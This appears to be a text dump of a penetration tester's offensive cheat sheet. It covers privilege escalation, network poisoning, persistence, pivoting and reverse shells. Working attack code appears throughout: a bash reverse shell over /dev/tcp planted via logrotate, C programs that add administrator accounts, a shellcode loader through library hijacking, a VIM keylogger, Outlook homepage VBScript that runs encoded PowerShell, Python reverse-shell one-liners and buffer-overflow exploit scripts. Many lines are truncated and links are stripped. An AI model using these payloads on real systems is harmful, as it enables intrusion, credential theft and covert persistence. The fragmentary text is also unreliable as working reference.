Usage
1. Prepare an SMB share with anonymous authentication allowed ( [Link] also works):
2. Generate an evil DLL: a С2 stager / add user to a privileged group (1, 2, 3, etc.) / invoke a custom
command (see example below).
3. Run the exploit:
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
C#
RCE + LPE:
[Link]
PowerShell
LPE:
[Link]
Reproducibility
Flowchart by @wdormann:
Mitigation
[Link]
LPE
Local Privilege Escalation
Windows
Local Enumeration
[Link]
System Info
PS > Get-ComputerInfo
Cmd > systeminfo
PS > [Environment]::Is64BitOperatingSystem
Cmd > (WMIC OS Get OSArchitecture)[2]
[Link]
PS > Get-Process
PS > [Environment]::Is64BitProcess
Cmd > tasklist /SVC
Cmd > net start
Cmd > ipconfig /all
Cmd > netstat -ano | findstr /i list
PS > Get-NetTCPConnection -State Listen
PS > [[Link]]::GetHostAddresses('hostname') | % {$_.IPAddressToString}
Cmd > route print [-4]
Cmd > reg query HKLM\SYSTEM\CurrentControlSet\Services\NPCAP
PS > Get-LocalGroup
PS > Get-LocalGroupMember Administrators
PS > [wmi] "Win32_userAccount.Domain='$env:computername',Name='Administrator'"
AccessChk
[Link]
[Link]
[Link]
[Link]
PayloadsAllTheThings/Example with Windows XP SP0/SP1 - upnphost
[Link]
[Link]
PS > cmd /c sc config VulnerableSvc binPath= "[Link]" obj= LocalSystem start= demand
PS > cmd /c sc qc VulnerableSvc
PS > cmd /c sc start VulnerableSvc
[Link]
It gives an attacker the ability to inject malicious binary into path to be executed with vulnerable service
permissions if she has enough privileges to write into one of these directories:
Query VulnerableSvc :
SERVICE_NAME: VulnerableSvc
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\Vulnerable Service\Vuln [Link]
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Vulnerable Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
Exploit VulnerableSvc :
pwn.c
// i686-w64-mingw32-gcc -o [Link] pwn.c
#include <stdio.h>
#include <stdlib.h>
void main() {
system("net user snovvcrash Passw0rd! /add");
system("net localgroup administrators snovvcrash /add");
}
[Link]
Check:
Exploit:
wuauserv
[Link]
RpcEptMapper
CVE-2021-27091
[Link]
[Link]
[Link]
Windows 7
Windows Server 2008 R2
Windows 8
Windows Server 2012
HiveNightmare
CVE-2021–36934
[Link]
[Link]
[Link]
[Link]
PowerShell one-liner:
.NET Sandboxes
When an attacker can compile arbitrary code in privileged context but a Sandbox is in game (like in uMod)
the following approaches can be leveraged to gain admin privs:
Registry keys manipulation.
Deserialization attacks.
using Microsoft.Win32;
...
using (var hklm = [Link]([Link], RegistryView.Registry64))
using (var key = [Link](@"SOFTWARE\Policies\Microsoft\Windows\Installer", true))
{
[Link]("AlwaysInstallElevated", 0x1, [Link]);
}
using Microsoft.Win32;
...
RegistryKey key = [Link](@"SYSTEM\CurrentControlSet\services\wuauser
if (key != null)
{
[Link]("ImagePath", "c:\windows\system32\spool\drivers\color\[Link] -e [Link]
[Link]();
}
...
using System;
using [Link];
using [Link];
...
byte[] payload = Convert.FromBase64String("<BASE64_PAYLOAD>");
//string payload_decoded = [Link](payload);
BinaryFormatter formatter = new BinaryFormatter();
Stream stream = new MemoryStream(payload);
object obj = [Link](stream);
...
Tools
Windows-Exploit-Suggester
[Link]
PowerUp
[Link]
[Link]
[Link]
PS > Invoke-PrivescAudit
JAWS
[Link]
winPEAS
[Link]
suite/tree/master/winPEAS/winPEASexe
PrivescCheck
[Link]
[Link]
[Link]
Seatbelt.ps1
Linux
[Link]
Filesystem
Find and list all files newer than 2020-03-16 and not newer than 2020-03-17 :
# User
$ find / -type f -perm /4000 -ls 2>/dev/null
# Group
$ find / -type f -perm /2000 -ls 2>/dev/null
# Both
$ find / -type f -perm /6000 -ls 2>/dev/null
Dirty COW
[Link]
logrotate
[Link]
$ cat payloadfile
if [ `id -u` -eq 0 ]; then (bash -c 'bash -i >& /dev/tcp/[Link]/9001 0>&1' &); fi
[Link]
[Link]
[Link]
[Link]
motd
/etc/update-motd.d/ :
[Link]
PAM MOTD:
[Link]
[Link]
polkit/dbus-daemon
CVE-2021-3560
[Link]
real 0m0.014s
user 0m0.003s
sys 0m0.001s
Divide it by 2 or by 3 and create a new user account (you might want to experiment with the number of
milliseconds in the delay and repeat the process a couple of times if needed):
Then set a password for it, sudo into a privilege shell and you are root:
Tools
LinEnum
[Link]
linux-smart-enumeration
[Link]
$ sh <(wget [Link]
linPEAS
[Link]
linux-exploit-suggester
[Link]
Locally on target:
Victim$ uname -a
Attacket$ curl -sL [Link]
Attacket$ ./[Link] --uname <UNAME_STRING>
SUID3NUM
[Link]
htbenum
[Link]
pspy
[Link]
[Link]
#!/usr/bin/env bash
while true; do
new=$(ps -eo command)
diff <(echo "$old") <(echo "$new") | grep [\<\>]
sleep .3
old=$new
done
DDexec
[Link]
Executing Linux Binaries Without Touching Disk - Living Off The Land with DDExec an…
an…
Networks
[Link]
[Link]
[Link]
[Link]
L2
Data Link Layer (OSI Layer 2)
[Link]
ARP Spoofing
Address Resolution Protocol
Enable IP forwarding:
arpspoof (dsniff)
[Link]
[Link]
Install:
Portable
[Link]
[Link]
As a portable alternative one may use the Python port of arpspoof compiled with PyInstaller:
Another approach is to download Python dependencies locally and install them on a compromised Linux
host:
If you need to launch ARP spoofing on another distro (CentOS, for example), then installing OS
dependencies and using a portable binary may be easier:
bettercap
[Link]
[Link]
[Link]
[Link]
[Link]
libpcap0.8_1.8.1-6ubuntu1_amd64.deb
libpcap0.8-dev_1.8.1-6ubuntu1_amd64.deb
libpcap-dev_1.8.1-6ubuntu1_amd64.deb
pkg-config_0.29.1-0ubuntu2_amd64.deb
libnetfilter-queue1_1.0.2-2_amd64.deb
libnfnetlink-dev_1.0.1-3_amd64.deb
libnetfilter-queue-dev_1.0.2-2_amd64.deb
Attack:
[Link]
# Quick recon of the network
[Link] on
Mitigations
Mitigating ARP spoofing:
[Link]
mitm6
[Link]
[Link]
[Link]
Install:
Generate a list of targets for NTLM relay and prepare a C2 listener and stager:
Start SMB server to capture NTLM hashes and serve the stager:
Start MitMing:
# Users
$ cat ~/ws/logs/[Link] | grep 'authenticated successfully' -A1 | grep aaaaaaaaaaa
$ sort -u -t: -k1,1 net-ntlmv2.mitm6 ~/ws/loot/[Link] > t
$ mv t ~/ws/loot/[Link] && rm net-ntlmv2.mitm6
# Machines
$ cat ~/ws/logs/[Link] | grep 'authenticated successfully' -A1 | grep aaaaaaaaaaa
Attack vectors
1. [Link] poisons IPv6 DNS entries for all hosts in the /24 network.
3. [Link] on the attacker's machine acts like a rogue DNS server and responds with the attacker's IP
for all incoming queries.
1. [Link] poisons IPv6 DNS entries for all hosts in the /24 network.
3. [Link] on the attacker's machine acts like a rogue DNS server, [Link] serves a
malicious WPAD file with an inexistent hostname (which will be resolved to the attacker's IP anyway)
and acts like a rogue proxy server and [Link] responds with the attacker's IP for all the incoming
DNS queries.
4. Victims grab the WPAD file and ask the rogue IPv6 DNS server (attacker's machine) to resolve its
location - resolved to attacker's machine.
5. Victims go to the rogue proxy server and there [Link] responses with HTTP 407 Proxy
Authentication .
Responder
[Link]
[Link]
[Link]
[Link]
Install:
$ git clone [Link] com/lgandx/Responder ~/tools/Responder && cd ~/tools/Responder
Run:
# Users
$ cat logs/*.txt | grep -a . | grep -a -v -e 'logs/' -e '\$' | sort -u -t: -k1,1 > net-ntlmv2
$ sort -u -t: -k1,1 [Link] ~/ws/loot/[Link] > t
$ mv t ~/ws/loot/[Link] && rm [Link]
# Machines
$ cat logs/*.txt | grep -a '\$' | sort -u -t: -k1,1
Inveigh
[Link]
InveighZero
[Link]
[Link]
SNACs Abuse
Stale Network Address Configuration
[Link]
configurations/
[Link]
Actively analyze ARP traffic and hunt for SNACs (Stale Network Address Configurations):
If a SNAC if found (can be detected, for example, when a host has moved from one IP to another and its
DNS A record not matching its DNS PTR record anymore) so that some application in the network is still
trying to send sensitive data to the stale IP address (because it may simply be hard-coded in the app), an
adversary can set an alias for their interface pretending to be that host with the stale IP and collect all the
traffic intended for it:
# Abuse it!
$ sudo tcpdump -nA -i eth0 "src host <STALE_IP> and (dst port 80 or dst port 443)"
Or
$ sudo tcpdump -nvv -i eth0 -s 65535 -w [Link] "host <STALE_IP>"
# Clean up
$ sudo ip addr del <STALE_IP>/24 dev eth0
VLAN Hopping
Virtual Local Area Network
[Link]
[Link]
[PDF] VLAN Hopping Attack (Haboob Team)
NAC Bypass
Network Access Control & Port Security (MAB, IEEE 802.1X, etc.)
[Link]
[Link]
[Link]
Tools
FENRIR
[Link]
[PDF] 802.1x NAC & BYPASS TECHNIQUES (Hack in Paris 2017, Valérian LEGRAND)
HIP17 - Talk 12 - 802.1x Network access control & Bypass Techniques by VALERIAN L…
L…
NACKered & nac_bypass
[Link]
[Link]
[Link]
Set up the bridge ( eth0 is connected to the switch, eth1 is connected to the authenticated client):
$ sudo ./nac_bypass_setup.sh -r
Scanning
[Link]
[Link]
[Link]
[Link]
Host Discovery
ARP
[Link]
[Link]
network-0150333/
[Link]
configurations/
arp scan
Active:
netdiscover
Passive:
[Link]
$ sudo nmap -n -sn 10.0-255.0-255.1 -oA subnets/gateways -PE [--min-rate 10000 --min-hostgroup
$ grep 'Up' subnets/[Link] | cut -d' ' -f2 > subnets/[Link]
Ping Sweep
Bash:
$ NET="0.0.0"; for i in $(seq 1 254); do (ping -c1 -W1 $NET.$i > /dev/null && echo "$NET.$i"
Or
$ NET="0.0.0"; for i in $(seq 1 254); do (ping -c1 -W1 "$NET.$i" | grep 'bytes from' | cut -d
Batch:
Cmd > set "NET=10.5.5" && for /L %i in (1,1,255) do @ping -n 1 -w 200 %NET%.%i > nul && echo %
Nmap:
$ sudo nmap -n -sn -iL subnets/[Link] -oA hosts/pingsweep -PS22,443 -PA21,80 -PE -PP
$ grep 'Up' hosts/[Link] | cut -d' ' -f2 | sort -u -t'.' -k1,1n -k2,2n -k3,3n -k4,4n
RMI Sweep
Port Service
22 SSH
3389 RDP
2222 SSH?
5900 VNC
5985 WinRM
Nmap:
Services
Raw Identification
[Link]
$ [Link] -i services/[Link]
nmaptocsv
[Link]
Ports
$ IP="[Link]"; for p in $(seq 1 49151); do (timeout 1 bash -c "echo '.' >/dev/tcp/$IP/$p && e
$ sort -u -t':' -k1,1n hosts/[Link] > hosts/[Link] && rm hosts/[Link]
Scan with nc :
$ seq 1 49151 | xargs -n1 | xargs -P0 -I {} nc -nzv -w1 [Link] {} 2>&1 | grep -vE "timed out
Port Service
21 FTP
22,2222 SSH
23 Telnet
25 SMTP
53 DNS
80,8080 HTTP
88 KDC
111 SUNRPC
135 MSRPC
137 NetBIOS
443,8443 SSL/TLS
623 IPMI
873 RSYNC
1433 MS SQL
1521 Oracle
ports_tcp="21,22,23,25,53,80,88,111,135,137,139,389,443,445,593,623,636,873,1090,1098,1099,143
Port Service
53 DNS
67 DHCP
69 TFTP
88 KDC
123 NTP
137 NetBIOS
161 SNMP
500 IKE
623 IPMI
3391 RD Gateway
UDP one-liner:
ports_udp="53,67,69,88,123,137,161,500,623,3391"
Nmap
[Link]
Flag -A :
$ grep '|_' services/[Link] | cut -d'_' -f2 | cut -d' ' -f1 | sort -u | grep ':
Fast port discovery with Masscan + versions and scripts with Nmap (TCP):
Fast port discovery with Nmap + versions and scripts with Nmap (TCP & UDP):
$ sudo nmap -n -Pn --min-rate 1000 -T4 [Link] -p- -v --open | tee nmap/ports_tcp.txt
$ ports_tcp=`cat nmap/ports_tcp | grep '^[0-9]' | awk -F "/" '{print $1}' | tr "\n" ',' | sed
$ sudo nmap -n -Pn -sVC [-sT] [-A] [--reason] -oA nmap/tcp [Link] -p$ports_tcp
nmap_single_host.sh
#!/usr/bin/env bash
IP="$1"
OUT="${IP//./-}"
quick_ports_scan="sudo nmap -n -Pn --min-rate 1000 -T4 $IP -p1-65535 --open -v | tee ${OUT}_al
echo -e "\033[0;31m########## \033[1;32m${quick_ports_scan}\033[0;31m ##########\033[0m"
eval ${quick_ports_scan}
nmap_visualize.sh
#!/bin/bash
INPUT=$1
IFS=$'\n'
unset $IFS
Masscan
[Link]
$ sudo masscan [-e eth0] --rate 1000 -iL [Link] --open -p$ports --resume [Link] >> mas
$ mkdir services && for p in `echo $ports | tr ',' ' '`; do grep "port $p/tcp" [Link] | a
RustScan
[Link]
$ sudo rustscan -b 1000 -t 2000 -u 5000 -a [Link] -r $ports -g --no-config --scan-order "Ra
[Link]
[Link]
$ sudo naabu [-interface eth0] -iL [Link] -s s -rate 1000 -p - -silent [-nmap-cli 'sudo nma
$ sudo naabu -host [Link] -top-ports 1000
Invoke-Portscan
[Link]
[Link]
[Link]
gateway-finder-imp
[Link]
NetBIOS
nbtscan
nbname (MSF)
nextnet
[Link]
PingCastle
[Link]
SharpOxidResolver
[Link]
Tools
AutoRecon
[Link]
legion
[Link]
nmapAutomator
[Link]
Install:
$
$ git
sudoclone [Link]
ln -vs `pwd`/nmapAutomator/[Link] ~/tools/nmapAutomator
/usr/local/bin/ && cd ~/tools/nmapAut
Run:
SIP / VoIP
Sniff Traffic
tcpdump
While connected via SSH:
$ sudo tcpdump -i eth0 -w [Link] -s0 'not tcp port 22' &
Wireshark
[Link]
[Link]
Filters
Protocols to consider:
NFS
Network File System
[Link]
[Link]
[Link]
Nmap
Discover rpcbind:
Mount
$ showmount -e [Link]
$ sudo mount -v -t nfs -o vers=3 -o nolock -o user=snovvcrash,pass='Passw0rd!' [Link]:/ho
Persistence
[Link]
Windows
[Link]
Scheduled Tasks
[Link]
Dollar Sign
[Link]
SpecialAccounts
COM Hijacking
Operation is RegOpenKey
Result is NAME NOT FOUND
Path is InprocServer32 (in-process server allowing the specified DLL to be loaded into current process
memory space)
schtask.ps1
$Tasks = Get-ScheduledTask
Check if a COM component exists under a relevant registry hive by its CLSID:
If it exists under HKLM but does not exists under HKCU hive, we can hijack this COM component by
creating a new item in the latter path:
RID Hijacking
[Link]
[Link]
.LNK Shortcuts
[Link]
Tools
SharPersist
[Link]
Linux
SSH Tunnel in Crontab
[Link]
#!/bin/bash
if [[ `ps -ef | grep -c 2222` -eq 1 ]]; then
/usr/bin/ssh -nNT -R 2222:localhost:22 -oStrictHostKeyChecking=no -oUserKnownHostsFile=/dev/
fi
Attacker's box:
Victim's box:
Global Socket
[Link]
Install
Victim's box:
Connect
Attacker's box:
Cleanup
Victim's box:
$ pkill gs-bd
Rootkits
[Link]/t/kernel-rootkits-getting-your-hands-dirty/1485
Pivoting
[Link]
Check if connections are allowed at a certain port (alternative to [Link] and powercat.ps1):
nc.ps1
# Test-NetConnection -ComputerName [Link] -Port 4444
$port = $args[0]
$endpoint = New-Object [Link] ([[Link]]::Any, $port)
$listener = New-Object [Link] $endpoint
$[Link]()
Write-Host "Listening on port $port"
while ($true)
{
$client = $[Link]()
Write-Host "A client has connected"
$[Link]()
}
Check if the machine can reach specific remote port when Test-NetConnection is not available (1, 2):
SSH
[Link]
Local vs Remote Port Forwarding
-L 1111:[Link]:2222 : the traffic is forwarded from SSH client via SSH server, so 1111 is
listening on client-side and traffic is sent to 2222 on server-side.
-R 2222:[Link]:1111 : the traffic is forwarded from SSH server via SSH client, so 2222 is
listening on server-side and traffic is sent to 1111 on client-side.
Consider the following example. An attacker has root privileges on Pivot1. He creates the first SSH tunnel
(remote port forwarding) to interact with a vulnerable web server on Pivot2. Then he exploits the vulnerability
on Pivot2 and triggers it to connect back to Attacker via a reverse-shell (firewall is active, so he needs to
pivot through port 443, which is allowed). After that the attacker performs PE on Pivot2 and gets root. Then
he creates another tunnel (local port forwarding) over the first one to SSH into Pivot2 from Attacker. Finally,
he forwards port 80 over two existing hops to reach another vulnerable web server on Victim.
Notes:
1 For SSH server to listen at [Link] instead of [Link] , the GatewayPorts yes must be
set in /etc/ssh/sshd_config .
1 With SSH (or Chisel, for example) server running on the Attacker the same can be achieved by
doing local port forwarding instead of remote.
An example how to safely set remote dynamic port forwarding (SOCKS) with a builin SSH client.
snovvcrash@attacker:~$ vi ~/.ssh/authorized_keys
from="[Link]",command="echo 'Only port forwarding is allowed'",no-agent-forwarding,no-X11
netsh
Rules
Allow inbound traffic flow on port 4444/TCP:
Cmd > netsh advfirewall firewall add rule name="Allow 4444" dir=in action=allow protocol=TCP l
Cmd > netsh advfirewall firewall delete rule name="Allow 4444" protocol=TCP localport=4444
Relay
Make any traffic hitting port 8443 on [Link] to be redirected to [Link] on port 443:
Cmd > netsh interface portproxy add v4tov4 listenaddress=[Link] listenport=8443 connectaddres
Remove a relay:
[YouTube] HTB Business CTF 2022: Dirty Money - The Day Before
[YouTube] HTB Business CTF 2022: Dirty Money - The Day Before
With AllowTcpForwarding set to no it's also possible to establish a SOCKS connection through
active SSH connection:
[Link]
xfreerdp + rdp2tcp
[Link]
[Link]
Reverse local port 9002 (on Victim) to local port 9001 on Attacker (good for reverse shells):
Forward local port 9001 (on Attacker) to local port 9002 on Victim (good for bind shells):
$ python [Link] add forward [Link] 9001 [Link] 9002
[Link]
Use /timeout:25000 to increase timeout and avoid "Waiting for activation" error.
Tools
[Link]
[Link]
[Link]
[Link]
[Link]
proxychains-ng
[Link]
Install:
sshuttle
[Link]
[Link]
chisel
[Link]
[Link]
HTB{ Reddish }
snovvcrash@gh-pages:~$ _
Reverse local port 1111 (on Victim) to local port 2222 (on Attacker):
Socks5 proxy in server mode when direct connection to Victim is not available (not relevant as Chisel
supports socks5 in client mode now):
SharpChisel
[Link]
[Link]
[Link]
[Link]
revsocks
[Link]
Neo-reGeorg
[Link]
[Link]
Generate a tunnel implant and copy it to the Victim web server from ./neoreg_servers/tunnel* :
Post Exploitation
General Post Exploitation
Linux
VIM Keylogger
Create a malicious VIM config that will save contents of a modified file when ran with sudo:
[Link]
:if $USER == "root"
:autocmd BufWritePost * :silent :w! >> /tmp/tmp0x031337
:endif
LD_LIBRARY_PATH
[Link]
Snippets/blob/main/Linux%20Shellcode%20Loaders/sharedLibrary_LD_LIBRARY_PATH.c
Code skeleton:
fakelib.c
#include <sys/mman.h>
#include <stdlib.h>
#include <stdio.h>
#include <dlfcn.h>
#include <unistd.h>
void hijack() {
setuid(0);
setgid(0);
printf("Library hijacked!\n");
int bufsize = (int)sizeof(buf);
for (int i = 0; i < bufsize-1; i++) { buf[i] = buf[i] ^ 'a'; }
intptr_t pagesize = sysconf(_SC_PAGESIZE);
mprotect((void *)(((intptr_t)buf) & ~(pagesize - 1)), pagesize, PROT_READ|PROT_EXEC);
int (*ret)() = (int(*)())buf;
ret();
}
$ ldd /usr/bin/top
...
We'll be targeting the [Link].0 library. Include defined symbols of the original library in our
malicious library:
LD_PRELOAD
[Link]
Snippets/blob/main/Linux%20Shellcode%20Loaders/sharedLibrary_LD_PRELOAD.c
evilgetuid.c
#define _GNU_SOURCE
#include <sys/mman.h>
#include <stdlib.h>
#include <stdio.h>
#include <dlfcn.h>
#include <unistd.h>
uid_t geteuid(void)
{
typeof(geteuid) *getuid_orig;
getuid_orig = dlsym(RTLD_NEXT, "geteuid");
Compile:
Create an evil alias to preserve environment variables when running cp with sudo (good candidates are
.bashrc and .bash_profile ):
SNMP
Simple Network Management Protocol
onesixtyone
[Link]
snmpwn
[Link]
TFTP
Trivial File Transfer Protocol
Download Python TFTP implementation and use the Bash script below:
[Link]
[Link]
#!/usr/bin/env bash
IP=$1
FILES=$2
VNC
Virtual Network Computing
TightVNC
[Link]
Misc
OSCP BOF
All you need to know about OSCP BOF challenge. A perfect example for practice – here on VulnHub, report
sample – here.
$ msf-pattern_create -l 5000
$ python3 bof_send_pattern.py
bof_send_pattern.py
#!/usr/bin/env python3
# bof_send_pattern.py
import socket
buf = b'<UNIQUE_PATTERN>'
#buf += b'\r\n'
s = [Link](socket.AF_INET, socket.SOCK_STREAM)
[Link](('[Link]', 1337))
#print([Link](1024))
[Link](buf)
#print([Link](1024))
[Link]()
2. Confirm BOF
Confirm that you actually can control EIP value - if true it will be overwritten with D34DC0D3 :
$ python3 bof_confirm.py
bof_confirm.py
#!/usr/bin/env python3
# bof_confirm.py
import socket
import struct
def little_endian(num):
return [Link]('<I', num)
s = [Link](socket.AF_INET, socket.SOCK_STREAM)
[Link](('[Link]', 1337))
#print([Link](1024))
[Link](buf)
#print([Link](1024))
[Link]()
$ python3 bof_bad_chars.py
bof_bad_chars.py
#!/usr/bin/env python3
# bof_bad_chars.py
import socket
import struct
def little_endian(num):
return [Link]('<I', num)
badchars = b'\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\
#badchars = '\x00'
buf = junk + eip + offset + badchars
#buf += b'\r\n'
s = [Link](socket.AF_INET, socket.SOCK_STREAM)
[Link](('[Link]', 1337))
#print([Link](1024))
[Link](buf)
#print([Link](1024))
[Link]()
!mona modules
$ msf-nasm_shell
nasm > jmp esp
00000000 FFE4 jmp esp
Or
nasm > call esp
00000000 FFD4 call esp
Found pointer is the needed value for EIP to force the execution flow into malicious shellcode.
$ python3 bof_exploit.py
bof_exploit.py
#!/usr/bin/env python3
# bof_exploit.py
import socket
import struct
def little_endian(num):
return [Link]('<I', num)
offset = b'C' * 4
nops = b'\x90' * 10
s = [Link](socket.AF_INET, socket.SOCK_STREAM)
[Link](('[Link]', 1337))
#print([Link](1024))
[Link](buf)
#print([Link](1024))
[Link]()
RE
Reverse Engineering
RE
Ghidra
Install:
[Link]
$ mv /opt/tor-browser/Browser/Downloads/ghidra*.zip ~/tools
$ cd ~/tools && unzip ghidra*.zip && rm ghidra*.zip && mv ghidra* ghidra && cd -
$ sudo apt install openjdk-11-jdk
OSINT
Open Source Intelligence
[Link]
Emails
[Link]
[Link]
[Link]
[Link]
[Link]
Infoga
[Link]
Tools
theHarvester
[Link]
Shodan
[Link]
$ shodan init <API_KEY>
$ shodan count vuln:cve-1984-31337
$ shodan download [Link] vuln:cve-1984-31337 [--limit 1000]
$ gzip -d [Link]
$ shodan parse [Link] --fields=ip_str,port > [Link]
[Link]
[Link]
hashcat
Benchmarks:
$ [Link]
# MD5
$ hashcat -m 0 -b
# NTLM
$ hashcat -m 1000 -b
[Link]
// K=MD4(Little_indian(UNICODE(pwd))
w3_t[2] = pw_len * 8 * 2;
w3_t[3] = 0;
digest[0] = MD4M_A;
digest[1] = MD4M_B;
digest[2] = MD4M_C;
digest[3] = MD4M_D;
w0_t[0] = digest[0];
w0_t[1] = digest[1];
w0_t[2] = digest[2];
w0_t[3] = digest[3];
w1_t[0] = 0;
w1_t[1] = 0;
w1_t[2] = 0;
w1_t[3] = 0;
w2_t[0] = 0;
w2_t[1] = 0;
w2_t[2] = 0;
w2_t[3] = 0;
w3_t[0] = 0;
w3_t[1] = 0;
w3_t[2] = 0;
w3_t[3] = 0;
To crack:
Generate Wordlists
hashcat
Potentially valid usernames, John Doe as an example:
[Link]
Common usernames:
root
guest
sa
changeme
password
EOF
Common patterns:
$ for i in $(cat [Link]); do echo "${i}"; echo "${i}\!"; echo "${i}2020"; echo "${i}202
$ cp t [Link]
kwprocessor
[Link]
cewl
Perimeter
[Link]
[Link]
DNS
$ nslookup [Link]
Subdomains & AXFR
AS details
$ whois [Link]
$ whois [Link]
Check for DNS Amplification
Google Dorks
/[Link]
/[Link]
Autonomous Systems
[Link]
Info via IP
dig:
whois:
whois:
Search AS
[Link]
[Link]
Map IP addresses to AS by origin and netname with ignoring potentionally unwanted netname values by
keywords:
[Link]
#!/bin/bash
# Usage: [Link] ip_list.txt
Difference between as-name, aut-num, origin, netname, etc. may be found on RIPE.
1C
[Link]
[Link]
[Link]
[Link]
$ curl [Link]
$ curl [Link]
ADFS
Active Directory Federation Services
Tools
ADFSpray
[Link]
adfsbrute
[Link]
Cisco
Check manually:
[Link]
[Link]
apcf
app_index.html
[Link]
appstatus
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
clear_cache
color_picker.html
color_picker.js
[Link]
[Link]
connection_failed_form
cookie
custom
do_url
files
[Link]
help
home
http_auth.html
include
[Link]
localization_inc.lua
[Link]
[Link]
logon_custom.css
logon_forms.js
logon_redirect.html
[Link]
no_svc.html
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
portal_ce.html
portal_custom.css
portal_elements.html
portal_forms.js
portal_img
portal_inc.lua
[Link]
[Link]
[Link]
[Link]
[Link]
sdesktop
sess_update.html
[Link]
session_expired
session_password.html
shshim
[Link]
test_chargen
tlbr
tunnel_linux.jnlp
tunnel_mac.jnlp
ucte_forbidden_data
ucte_forbidden_url
user_dialog.html
[Link]
[Link]
wrong_url.html
DNS
Domain Name System
whois
IP/domain info, IP ranges:
dig
General:
[Link]
Zone transfer:
nslookup
$ nslookup
[> server [Link]]
> set q=mx
> [Link]
$ nslookup
> set q=ptr
> [Link]
DNS Amplification
Check:
$ sudo nmap -Pn -sU -sV --script dns-recursion -iL [Link] -p53
$ for srv in `cat [Link]`; do sudo nmap -Pn -sU -sV --script dns-recursion $srv -p53 | grep "
Exchange
[Link]
[Link]
GAL
Ruler
OAB
<Autodiscover xmlns="[Link]
<Request>
<EMailAddress>snovvcrash@[Link]</EMailAddress>
<AcceptableResponseSchema>[Link]
</Request>
</Autodiscover>
Install libmspack:
ActiveSync
PEAS
[Link]
[Link]
[Link]
[Link]
[Link]
Install:
Run:
How-To
1. Use Nmap http-ntlm-info to get NetBIOS domain name and Exchange hostname: hunting for
hostname pattern prefix if there is one.
CVE-2020-0688
[Link]
server-through-fixed-cryptographic-keys
[Link]
[Link]
NSPI
[Link]
[Link]
Information Gathering
Google Dorks
site:[Link] filetype:(doc | docx | docm | xls | xlsx | xlsm | ppt | pptx | pptm | pdf |
IPSec
IP Security
IKE
[Link]
[Link]
[Link]
1/
[Link]
Using [Link] :
$ while read t; do (echo "[+] Valid trans-set: $t"; sudo ike-scan -M --trans=$t [Link])
Or (for aggressive mode)
$ while read t; do (echo "[+] Valid trans-set: $t"; sudo ike-scan -M -A -P'[Link]' -n F
Or
$ sudo python [Link] -s1 -a [Link] # -s1 for max speed
$ while read id; do (echo "[+] Valid ID: $id" && sudo ike-scan -M -A -n $id --trans=<TRANSFORM
Or
$ sudo python [Link] [Link] -e -w wordlists/[Link] -t <TRANSFORM-SET-IN-SEPA
Dictionaries:
/usr/share/seclists/Miscellaneous/[Link]
~/tools/ikeforce/wordlists/[Link]
Java RMI
Java Remote Method Invocation
Enumerate
Check if class loader is enabled:
BaRMIe
[Link]
remote-method-guesser
[Link]
rmiscout
[Link]
Lync & Skype for Business
lyncsmash
[Link]
NTP
Network Time Protocol
NTP Amplification
Check:
$ ntpq -c rv [Link]
Outlook
Ruler
[Link]
Rules
[Link]
[Link]
Forms
[Link]
[Link]
Display forms:
[Link] :
Cleanup:
userdomain = 'MEGACORP'
$ python [Link] [Link] [Link]
$ ./build_x64_go.sh output/go_symmetric_https443.[Link] [Link] --hidden
Homepage
[Link]
[Link]
Exploit:
[Link] :
<html>
<head>
<meta http-equiv="Content-Language" content="en-us">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>Outlook</title>
<script id=clientEventHandlersVBS language=vbscript>
<!--
Sub window_onload()
Set Application = [Link]
Set cmd = [Link]("[Link]")
[Link]("powershell -exec bypass -e <BASE64_CMD>")
End Sub
-->
</script>
</head>
<body>
<object classid="clsid:0006F063-0000-0000-C000-000000000046" id="ViewCtl1" data="" width="100
</body>
</html>
Cleanup:
OWA
Outlook Web Access
Enumerate Users
[Link]
enumeration/
[Link]
"Responses in different environments may have different response times but the pattern in the timing
response behavior still exist." (ref)
MSF
MailSniper
[Link]
Password Spray
Ruler
[Link]
Notes:
Enumerate NTLM
[Link]
[Link]
Nmap
MSF
MailSniper
[Link]
SharePoint
[Link]
[Link]
through-web-parts
SMTP
Simple Mail Transfer Protocol
$ telnet [Link] 25
HELO [Link]
MAIL FROM: <forged@[Link]>
RCPT TO: <exists@[Link]>
RCPT TO: <exists@[Link]>
$ telnet [Link] 25
HELO
MAIL [Link]
FROM: <forged@[Link]>
RCPT TO: <exists@[Link]>
RCPT TO: <exists@[Link]>
$ telnet [Link] 25
HELO [Link]
VRFY exists@[Link]
EXPN exists@[Link]
$ telnet [Link] 25
HELO [Link]
MAIL FROM: <...>
RCPT TO: <exists@[Link]>
DATA
From: <...>
To: <exists@[Link]>
Subject: Job offer
Hello, I would like to offer you a great job!
.
QUIT
RCPT
smtp-enum
[Link]
smtp-user-enum
[Link]
[Link]
[Link]
propisany/
[Link]
Tools
swaks
[Link]
SSH
Secure Shell
Password spray with a private key and passphrase Passw0rd! using CME:
Enum Users
CVE-2018-15473
Subdomain Takeover
[Link]
Shells
Upgrade to PTY
[Link]
[Link]
[Link]
[Link]
# Spawn PTY
$ if python3 -V > /dev/null 2>&1; then
ShellPop
[Link]
pwncat
[Link]
[Link]
xxh
[Link]
Reverse Shells
[Link]
[Link]
Bash
Python
IPv4
import socket,subprocess,os;s=[Link](socket.AF_INET,socket.SOCK_STREAM);[Link](("<LH
import socket,os,pty;s=[Link](socket.AF_INET,socket.SOCK_STREAM);[Link](("<LHOST>",<
IPv6
import socket,subprocess,os;s=[Link](socket.AF_INET6,socket.SOCK_STREAM);[Link](("<L
import socket,os,pty;s=[Link](socket.AF_INET6,socket.SOCK_STREAM);[Link](("<LHOST>"
PowerShell
[Link]
[Link]
[Link]
[Link]
else{
$res = (&"$out") | out-string;
}
if($res -ne $null){
$[Link]($res)
}
}
}While (!$[Link]("exit"))
$[Link]();
$[Link]();
$[Link]()
Download Cradles
[Link]
[Link]
PHP
[Link]
Netcat
